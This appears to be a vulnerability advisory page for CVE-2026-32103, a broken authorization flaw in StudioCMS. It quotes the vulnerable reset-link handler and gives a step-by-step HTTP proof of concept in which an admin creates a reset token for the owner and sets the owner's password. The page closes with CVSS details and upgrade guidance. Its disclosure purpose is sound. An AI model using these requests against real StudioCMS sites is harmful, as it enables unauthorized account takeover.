CVE-2026-32103

The POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller's identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system.

Details

Vulnerable Code

File: packages/studiocms/frontend/pages/studiocms_api/dashboard/create-reset-link.ts
Version: [email protected]

const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isAdmin;  // [1]
if (!isAuthorized) {
    return apiResponseLogger(403, 'Unauthorized');
}

const { userId } = yield* readAPIContextJson<{ userId: string }>(ctx);            // [2]

if (!userId) {
    return apiResponseLogger(400, 'Invalid form data, userId is required');
}

// [3] userId is passed directly, no check against caller's identity
// [4] No check whether the target user outranks the caller
const token = yield* sdk.resetTokenBucket.new(userId);                            // [5]

Analysis

Unlike the API token endpoints (which only require isEditor), this handler correctly gates access at the isAdmin level [1]. However, two critical authorization checks are still missing:

1. No caller identity validation [2][3]: The userId from the JSON payload is never compared against the authenticated caller's session identity. An admin can specify any user's UUID, including the owner's.
2. No role hierarchy enforcement [4]: The handler does not verify whether the target user has a higher privilege level than the caller. An admin can target the owner account, which is the only account that should be immune to administrative actions from lower-ranked admins.
3. Reset token returned in response [5]: The generated reset token (a signed JWT) is returned directly in the HTTP response body. This token can then be used with the reset-password endpoint to set an arbitrary password for the target account, completing the account takeover chain.

The core issue is that password reset generation is treated as a generic admin operation rather than a self-service operation with explicit scope restrictions.

PoC

Environment
User ID | Role
2450bf33-0135-4142-80be-9854f9a5e9f1 | owner
eacee42e-ae7e-4e9e-945b-68e26696ece4 | admin

Step 1, Verify Attacker's Session (Admin)
Confirm the attacker is authenticated as admin (user dummy03):

POST /studiocms_api/dashboard/verify-session HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{"originPathname":"http://127.0.0.1:4321/dashboard"}

Response:

{
  "isLoggedIn": true,
  "user": {
    "id": "eacee42e-ae7e-4e9e-945b-68e26696ece4",
    "name": "dummy03",
    "username": "dummy03"
  },
  "permissionLevel": "admin"
}

Step 2, Generate Password Reset Token for the Owner
The admin sends a request to create a reset link targeting the owner's UUID:

POST /studiocms_api/dashboard/create-reset-link HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{"userId": "2450bf33-0135-4142-80be-9854f9a5e9f1"}

Response:

{
  "id": "e11c98ac-d523-4404-b9c6-921d7d01cdcd",
  "userId": "2450bf33-0135-4142-80be-9854f9a5e9f1",
  "token": "<reset_jwt_token>"
}

The server generated a valid password reset JWT for the owner account and returned it to the admin caller.

Step 3, Reset the Owner's Password
Using all three values from the previous response (id, userId, token), the attacker sets a new password for the owner:

POST /studiocms_api/dashboard/reset-password HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{
  "id": "e11c98ac-d523-4404-b9c6-921d7d01cdcd",
  "userid": "2450bf33-0135-4142-80be-9854f9a5e9f1",
  "token": "<reset_jwt_token>",
  "password": "pwned1234@@",
  "confirm_password": "pwned1234@@"
}

Response:

{"message": "User password updated successfully"}

The owner's password has been changed. The admin can now log in as the owner with the new credentials, gaining full control of the StudioCMS instance.

• Owner Account Takeover: Any admin can change the owner's password and assume full control of the StudioCMS instance, including all content, user management, and system configuration.

CVE-2026-32103 has a CVSS score of 6.8 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-32103? CVE-2026-32103 is a medium-severity security vulnerability in studiocms (npm), affecting versions <= 0.4.2. It is fixed in 0.4.3.
2. How severe is CVE-2026-32103? CVE-2026-32103 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of studiocms are affected by CVE-2026-32103? studiocms (npm) versions <= 0.4.2 is affected.
4. Is there a fix for CVE-2026-32103? Yes. CVE-2026-32103 is fixed in 0.4.3. Upgrade to this version or later.
5. Is CVE-2026-32103 exploitable, and should I be worried? Whether CVE-2026-32103 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32103 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32103? Upgrade studiocms to 0.4.3 or later.